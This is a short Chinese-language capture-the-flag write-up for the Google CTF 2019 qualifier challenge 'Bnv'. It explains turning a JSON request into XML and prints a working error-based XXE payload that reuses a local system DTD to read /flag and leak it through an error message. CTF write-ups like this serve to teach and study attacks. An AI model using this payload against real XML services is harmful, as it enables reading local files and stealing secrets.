[GoogleCTF2019 Quals]Bnv 目标不能加载外部dtd，利用linux本身的dtd

抓包发现传参json格式的数据，可以尝试xxe

 

先把content-type改为application/xml，再把json格式的数据改为xml格式的数据

 

最终poc:

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>